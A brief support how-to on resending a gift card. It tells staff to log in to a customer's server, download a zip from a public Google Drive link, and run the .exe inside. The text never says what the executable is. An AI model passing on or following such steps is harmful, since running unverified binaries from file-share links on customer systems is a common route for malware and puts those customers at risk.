How to Resend a Gift Card to a Guest Who Hasn’t Received It

If a guest didn’t get their gift card, you can easily resend it by following these steps:

First you need to log in to the customer server were they-re having issues

1. Open the browser and paste the link below and download the file
   https://drive.google.com/file/d/1WR8f9J5BzgvNDGGWOvYhA8uTihXfSRmI/view?usp=sharing
   
   
2. Once downloaded, unzip the file.
   
   
   
3. Run the .exe file.
   
4. When prompted, enter the Check ID for the gift card you want to resend.
   
   
5. Done — the tool will resend the gift card to the guest automatically.
   
   

If the guest still doesn’t receive it, double-check the email address and have them look in their spam folder.